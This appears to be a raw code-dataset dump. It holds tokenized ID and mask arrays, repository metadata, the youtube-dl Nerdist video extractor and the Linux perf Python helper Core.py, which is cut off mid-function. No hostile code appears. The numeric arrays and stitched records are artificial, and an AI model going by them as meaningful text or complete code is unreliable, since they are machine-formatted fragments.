[ 1898, 334, 67, 9, 14894, 6659, 2978, 15904, 12, 481, 645, 17323, 402, 1952, 1086, 12, 199, 3, 8540, 1010, 25585, 402, 314, 445, 806, 335, 20548, 7499, 8843, 199, 3, 1898, 334, 67, 9, 14894, 21644, 305, 30611, 1895, 75, 665, 3151, 305, 14, 14121, 1895, 75, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 199, 3, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1015, 499, 199, 3, 366, 972, 1603, 11474, 12, 9013, 17, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 421, 199, 533, 4094, 8, 785, 304, 272, 699, 1092, 19972, 63, 2632, 275, 488, 272, 445, 2901, 9418, 63, 9517, 63, 18145, 275, 488, 272, 445, 2901, 9418, 63, 17179, 63, 19637, 5357, 540, 275, 283, 1001, 7, 272, 445, 2901, 9418, 63, 9517, 63, 19637, 5357, 540, 275, 283, 1001, 7, 272, 445, 2901, 9418, 63, 13089, 63, 9663, 275, 788, 1001, 418, 272, 445, 2901, 9418, 63, 4961, 15353, 275, 488, 421, 199, 318, 365, 63, 23593, 63, 705, 8, 1508, 304, 272, 408, 272, 13821, 445, 19028, 1380, 1808, 2022, 16953, 3913, 334, 271, 9, 3549, 3379, 4967, 12, 272, 2552, 652, 24266, 370, 282, 1890, 787, 7131, 7869, 18774, 4046, 4453, 2559, 272, 283, 23593, 14, 7765, 14, 1095, 1370, 2779, 4910, 626, 2955, 283, 2590, 7, 5664, 787, 26847, 436, 781, 272, 1471, 8579, 2186, 436, 315, 27174, 323, 9848, 14, 961, 805, 22577, 543, 626, 14, 272, 408, 272, 372, 1228, 8, 1508, 12, 2186, 9, 436, 2329, 855, 533, 4914, 578, 363, 508, 283, 23593, 14, 7765, 14, 1095, 7, 421, 199, 318, 365, 63, 23593, 63, 751, 63, 705, 8, 1508, 304, 272, 408, 272, 6496, 3775, 282, 2741, 1919, 365, 282, 445, 19028, 7131, 1919, 4046, 687, 272, 1804, 265, 1872, 1159, 2876, 3310, 1726, 14, 7754, 1937, 365, 63, 6856, 8104, 63, 705, 367, 1655, 17531, 14, 339, 408, 272, 372, 365, 63, 23593, 63, 705, 8, 1508, 9, 436, 2329, 855, 533, 4914, 354, 363, 508, 283, 1899, 3310, 1726, 7, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
fpsluozi/youtube-dl
youtube_dl/extractor/nerdist.py
128
2982
# encoding: utf-8 from __future__ import unicode_literals from .common import InfoExtractor from ..utils import ( determine_ext, parse_iso8601, xpath_text, ) class NerdistIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.)?nerdist\.com/vepisode/(?P<id>[^/?#]+)' _TEST = { 'url': 'http://www.nerdist.com/vepisode/exclusive-which-dc-characters-w', 'md5': '3698ed582931b90d9e81e02e26e89f23', 'info_dict': { 'display_id': 'exclusive-which-dc-characters-w', 'id': 'RPHpvJyr', 'ext': 'mp4', 'title': 'Your TEEN TITANS Revealed! Who\'s on the show?', 'thumbnail': 're:^https?://.*/thumbs/.*\.jpg$', 'description': 'Exclusive: Find out which DC Comics superheroes will star in TEEN TITANS Live-Action TV Show on Nerdist News with Jessica Chobot!', 'uploader': 'Eric Diaz', 'upload_date': '20150202', 'timestamp': 1422892808, } } def _real_extract(self, url): display_id = self._match_id(url) webpage = self._download_webpage(url, display_id) video_id = self._search_regex( r'''(?x)<script\s+(?:type="text/javascript"\s+)? src="https?://content\.nerdist\.com/players/([a-zA-Z0-9_]+)-''', webpage, 'video ID') timestamp = parse_iso8601(self._html_search_meta( 'shareaholic:article_published_time', webpage, 'upload date')) uploader = self._html_search_meta( 'shareaholic:article_author_name', webpage, 'article author') doc = self._download_xml( 'http://content.nerdist.com/jw6/%s.xml' % video_id, video_id) video_info = doc.find('.//item') title = xpath_text(video_info, './title', fatal=True) description = xpath_text(video_info, './description') thumbnail = xpath_text( video_info, './{http://rss.jwpcdn.com/}image', 'thumbnail') formats = [] for source in video_info.findall('./{http://rss.jwpcdn.com/}source'): vurl = source.attrib['file'] ext = determine_ext(vurl) if ext == 'm3u8': formats.extend(self._extract_m3u8_formats( vurl, video_id, entry_protocol='m3u8_native', ext='mp4', preference=0)) elif ext == 'smil': formats.extend(self._extract_smil_formats( vurl, video_id, fatal=False )) else: formats.append({ 'format_id': ext, 'url': vurl, }) self._sort_formats(formats) return { 'id': video_id, 'display_id': display_id, 'title': title, 'description': description, 'thumbnail': thumbnail, 'timestamp': timestamp, 'formats': formats, 'uploader': uploader, }
unlicense
[ 3, 2644, 26, 2774, 13, 24, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 1275, 2330, 492, 21298, 199, 199, 504, 2508, 1208, 492, 334, 272, 6705, 63, 832, 12, 272, 2198, 63, 4595, 15363, 12, 272, 14462, 63, 505, 12, 199, 9, 421, 199, 533, 653, 281, 2686, 4332, 8, 18283, 304, 272, 485, 5600, 63, 2632, 275, 519, 7, 2859, 24524, 1544, 20316, 1372, 2686, 4537, 957, 15, 432, 80, 6045, 9448, 48, 28, 344, 13489, 10197, 3, 29716, 272, 485, 2864, 275, 469, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 1372, 2686, 14, 957, 15, 432, 80, 6045, 15, 12730, 13, 6777, 13, 3833, 13, 16516, 13, 87, 297, 267, 283, 1064, 21, 356, 283, 1344, 2905, 379, 2010, 1398, 2192, 66, 2710, 68, 25, 69, 2835, 69, 996, 69, 1479, 69, 1407, 70, 1789, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 2918, 63, 344, 356, 283, 12730, 13, 6777, 13, 3833, 13, 16516, 13, 87, 297, 288, 283, 344, 356, 283, 50, 9791, 1381, 16608, 82, 297, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 283, 14398, 10686, 742, 377, 649, 5622, 799, 432, 65, 1146, 1, 644, 526, 3985, 83, 641, 314, 2498, 7044, 288, 283, 8311, 356, 283, 264, 23497, 2859, 14144, 2795, 15, 273, 23135, 15, 24736, 8476, 4268, 288, 283, 1802, 356, 283, 26281, 26, 6668, 734, 1314, 30592, 5429, 2932, 1613, 31863, 397, 911, 14664, 315, 10686, 742, 377, 649, 5622, 24683, 13, 3310, 26990, 12968, 641, 653, 281, 2686, 30951, 543, 1603, 28601, 696, 8802, 3018, 12389, 288, 283, 13671, 356, 283, 37, 1567, 3757, 4651, 297, 288, 283, 5064, 63, 602, 356, 283, 7806, 996, 996, 297, 288, 283, 3954, 356, 4329, 1081, 15765, 11292, 12, 267, 789, 272, 789, 339, 347, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 267, 2929, 63, 344, 275, 291, 423, 1431, 63, 344, 8, 633, 9, 267, 9248, 275, 291, 423, 4249, 63, 12022, 8, 633, 12, 2929, 63, 344, 9, 398, 3991, 63, 344, 275, 291, 423, 1733, 63, 3821, 8, 288, 519, 2344, 2229, 88, 21528, 1579, 60, 83, 11, 5169, 466, 628, 505, 15, 9554, 3212, 83, 19544, 355, 2928, 628, 2859, 14144, 1317, 4537, 1372, 2686, 4537, 957, 15, 20716, 15, 779, 65, 13, 6353, 13, 58, 16, 13, 25, 22155, 7216, 18108, 288, 9248, 12, 283, 3722, 2870, 358, 267, 4913, 275, 2198, 63, 4595, 15363, 8, 277, 423, 1360, 63, 1733, 63, 2024, 8, 288, 283, 6251, 65, 526, 606, 26, 6934, 63, 8987, 63, 521, 297, 9248, 12, 283, 5064, 1434, 1333, 267, 25257, 275, 291, 423, 1360, 63, 1733, 63, 2024, 8, 288, 283, 6251, 65, 526, 606, 26, 6934, 63, 2502, 63, 354, 297, 9248, 12, 283, 6934, 4132, 358, 398, 1382, 275, 291, 423, 4249, 63, 1652, 8, 288, 283, 1014, 921, 1317, 14, 1372, 2686, 14, 957, 15, 30561, 22, 3149, 83, 14, 1652, 7, 450, 3991, 63, 344, 12, 3991, 63, 344, 9, 267, 3991, 63, 815, 275, 1382, 14, 1623, 29995, 1053, 358, 267, 2538, 275, 14462, 63, 505, 8, 3722, 63, 815, 12, 21526, 1213, 297, 14294, 29, 549, 9, 267, 1369, 275, 14462, 63, 505, 8, 3722, 63, 815, 12, 21526, 1802, 358, 267, 10062, 275, 14462, 63, 505, 8, 288, 3991, 63, 815, 12, 1987, 5321, 1014, 921, 13614, 14, 30561, 2352, 4272, 14, 957, 15, 93, 1569, 297, 283, 8311, 358, 398, 6752, 275, 942, 267, 367, 1350, 315, 3991, 63, 815, 14, 6452, 5175, 5321, 1014, 921, 13614, 14, 30561, 2352, 4272, 14, 957, 15, 93, 1365, 735, 288, 373, 633, 275, 1350, 14, 6640, 459, 493, 418, 288, 1599, 275, 6705, 63, 832, 8, 86, 633, 9, 288, 340, 1599, 508, 283, 77, 19, 85, 24, 356, 355, 6752, 14, 2880, 8, 277, 423, 5005, 63, 77, 19, 85, 24, 63, 6321, 8, 490, 373, 633, 12, 3991, 63, 344, 12, 2397, 63, 3922, 534, 77, 19, 85, 24, 63, 6106, 297, 1599, 534, 311, 20, 297, 490, 16705, 29, 16, 430, 288, 916, 1599, 508, 283, 3300, 382, 356, 355, 6752, 14, 2880, 8, 277, 423, 5005, 63, 3300, 382, 63, 6321, 8, 490, 373, 633, 12, 3991, 63, 344, 12, 14294, 29, 797, 355, 5082, 288, 587, 26, 355, 6752, 14, 740, 2561, 490, 283, 908, 63, 344, 356, 1599, 12, 490, 283, 633, 356, 373, 633, 12, 355, 3828, 267, 291, 423, 3191, 63, 6321, 8, 6321, 9, 398, 372, 469, 288, 283, 344, 356, 3991, 63, 344, 12, 288, 283, 2918, 63, 344, 356, 2929, 63, 344, 12, 288, 283, 1213, 356, 2538, 12, 288, 283, 1802, 356, 1369, 12, 288, 283, 8311, 356, 10062, 12, 288, 283, 3954, 356, 4913, 12, 288, 283, 6321, 356, 6752, 12, 288, 283, 13671, 356, 25257, 12, 267, 789, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2644, 26, 2774, 13, 24, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 1275, 2330, 492, 21298, 199, 199, 504, 2508, 1208, 492, 334, 272, 6705, 63, 832, 12, 272, 2198, 63, 4595, 15363, 12, 272, 14462, 63, 505, 12, 199, 9, 421, 199, 533, 653, 281, 2686, 4332, 8, 18283, 304, 272, 485, 5600, 63, 2632, 275, 519, 7, 2859, 24524, 1544, 20316, 1372, 2686, 4537, 957, 15, 432, 80, 6045, 9448, 48, 28, 344, 13489, 10197, 3, 29716, 272, 485, 2864, 275, 469, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 1372, 2686, 14, 957, 15, 432, 80, 6045, 15, 12730, 13, 6777, 13, 3833, 13, 16516, 13, 87, 297, 267, 283, 1064, 21, 356, 283, 1344, 2905, 379, 2010, 1398, 2192, 66, 2710, 68, 25, 69, 2835, 69, 996, 69, 1479, 69, 1407, 70, 1789, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 2918, 63, 344, 356, 283, 12730, 13, 6777, 13, 3833, 13, 16516, 13, 87, 297, 288, 283, 344, 356, 283, 50, 9791, 1381, 16608, 82, 297, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 283, 14398, 10686, 742, 377, 649, 5622, 799, 432, 65, 1146, 1, 644, 526, 3985, 83, 641, 314, 2498, 7044, 288, 283, 8311, 356, 283, 264, 23497, 2859, 14144, 2795, 15, 273, 23135, 15, 24736, 8476, 4268, 288, 283, 1802, 356, 283, 26281, 26, 6668, 734, 1314, 30592, 5429, 2932, 1613, 31863, 397, 911, 14664, 315, 10686, 742, 377, 649, 5622, 24683, 13, 3310, 26990, 12968, 641, 653, 281, 2686, 30951, 543, 1603, 28601, 696, 8802, 3018, 12389, 288, 283, 13671, 356, 283, 37, 1567, 3757, 4651, 297, 288, 283, 5064, 63, 602, 356, 283, 7806, 996, 996, 297, 288, 283, 3954, 356, 4329, 1081, 15765, 11292, 12, 267, 789, 272, 789, 339, 347, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 267, 2929, 63, 344, 275, 291, 423, 1431, 63, 344, 8, 633, 9, 267, 9248, 275, 291, 423, 4249, 63, 12022, 8, 633, 12, 2929, 63, 344, 9, 398, 3991, 63, 344, 275, 291, 423, 1733, 63, 3821, 8, 288, 519, 2344, 2229, 88, 21528, 1579, 60, 83, 11, 5169, 466, 628, 505, 15, 9554, 3212, 83, 19544, 355, 2928, 628, 2859, 14144, 1317, 4537, 1372, 2686, 4537, 957, 15, 20716, 15, 779, 65, 13, 6353, 13, 58, 16, 13, 25, 22155, 7216, 18108, 288, 9248, 12, 283, 3722, 2870, 358, 267, 4913, 275, 2198, 63, 4595, 15363, 8, 277, 423, 1360, 63, 1733, 63, 2024, 8, 288, 283, 6251, 65, 526, 606, 26, 6934, 63, 8987, 63, 521, 297, 9248, 12, 283, 5064, 1434, 1333, 267, 25257, 275, 291, 423, 1360, 63, 1733, 63, 2024, 8, 288, 283, 6251, 65, 526, 606, 26, 6934, 63, 2502, 63, 354, 297, 9248, 12, 283, 6934, 4132, 358, 398, 1382, 275, 291, 423, 4249, 63, 1652, 8, 288, 283, 1014, 921, 1317, 14, 1372, 2686, 14, 957, 15, 30561, 22, 3149, 83, 14, 1652, 7, 450, 3991, 63, 344, 12, 3991, 63, 344, 9, 267, 3991, 63, 815, 275, 1382, 14, 1623, 29995, 1053, 358, 267, 2538, 275, 14462, 63, 505, 8, 3722, 63, 815, 12, 21526, 1213, 297, 14294, 29, 549, 9, 267, 1369, 275, 14462, 63, 505, 8, 3722, 63, 815, 12, 21526, 1802, 358, 267, 10062, 275, 14462, 63, 505, 8, 288, 3991, 63, 815, 12, 1987, 5321, 1014, 921, 13614, 14, 30561, 2352, 4272, 14, 957, 15, 93, 1569, 297, 283, 8311, 358, 398, 6752, 275, 942, 267, 367, 1350, 315, 3991, 63, 815, 14, 6452, 5175, 5321, 1014, 921, 13614, 14, 30561, 2352, 4272, 14, 957, 15, 93, 1365, 735, 288, 373, 633, 275, 1350, 14, 6640, 459, 493, 418, 288, 1599, 275, 6705, 63, 832, 8, 86, 633, 9, 288, 340, 1599, 508, 283, 77, 19, 85, 24, 356, 355, 6752, 14, 2880, 8, 277, 423, 5005, 63, 77, 19, 85, 24, 63, 6321, 8, 490, 373, 633, 12, 3991, 63, 344, 12, 2397, 63, 3922, 534, 77, 19, 85, 24, 63, 6106, 297, 1599, 534, 311, 20, 297, 490, 16705, 29, 16, 430, 288, 916, 1599, 508, 283, 3300, 382, 356, 355, 6752, 14, 2880, 8, 277, 423, 5005, 63, 3300, 382, 63, 6321, 8, 490, 373, 633, 12, 3991, 63, 344, 12, 14294, 29, 797, 355, 5082, 288, 587, 26, 355, 6752, 14, 740, 2561, 490, 283, 908, 63, 344, 356, 1599, 12, 490, 283, 633, 356, 373, 633, 12, 355, 3828, 267, 291, 423, 3191, 63, 6321, 8, 6321, 9, 398, 372, 469, 288, 283, 344, 356, 3991, 63, 344, 12, 288, 283, 2918, 63, 344, 356, 2929, 63, 344, 12, 288, 283, 1213, 356, 2538, 12, 288, 283, 1802, 356, 1369, 12, 288, 283, 8311, 356, 10062, 12, 288, 283, 3954, 356, 4913, 12, 288, 283, 6321, 356, 6752, 12, 288, 283, 13671, 356, 25257, 12, 267, 789, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
utilite-computer/linux-kernel
tools/perf/scripts/python/Perf-Trace-Util/lib/Perf/Trace/Core.py
11088
3246
# Core.py - Python extension for perf script, core functions # # Copyright (C) 2010 by Tom Zanussi <tzanussi@gmail.com> # # This software may be distributed under the terms of the GNU General # Public License ("GPL") version 2 as published by the Free Software # Foundation. from collections import defaultdict def autodict(): return defaultdict(autodict) flag_fields = autodict() symbolic_fields = autodict() def define_flag_field(event_name, field_name, delim): flag_fields[event_name][field_name]['delim'] = delim def define_flag_value(event_name, field_name, value, field_str): flag_fields[event_name][field_name]['values'][value] = field_str def define_symbolic_field(event_name, field_name): # nothing to do, really pass def define_symbolic_value(event_name, field_name, value, field_str): symbolic_fields[event_name][field_name]['values'][value] = field_str def flag_str(event_name, field_name, value): string = "" if flag_fields[event_name][field_name]: print_delim = 0 keys = flag_fields[event_name][field_name]['values'].keys() keys.sort() for idx in keys: if not value and not idx: string += flag_fields[event_name][field_name]['values'][idx] break if idx and (value & idx) == idx: if print_delim and flag_fields[event_name][field_name]['delim']: string += " " + flag_fields[event_name][field_name]['delim'] + " " string += flag_fields[event_name][field_name]['values'][idx] print_delim = 1 value &= ~idx return string def symbol_str(event_name, field_name, value): string = "" if symbolic_fields[event_name][field_name]: keys = symbolic_fields[event_name][field_name]['values'].keys() keys.sort() for idx in keys: if not value and not idx: string = symbolic_fields[event_name][field_name]['values'][idx] break if (value == idx): string = symbolic_fields[event_name][field_name]['values'][idx] break return string trace_flags = { 0x00: "NONE", \ 0x01: "IRQS_OFF", \ 0x02: "IRQS_NOSUPPORT", \ 0x04: "NEED_RESCHED", \ 0x08: "HARDIRQ", \ 0x10: "SOFTIRQ" } def trace_flag_str(value): string = "" print_delim = 0 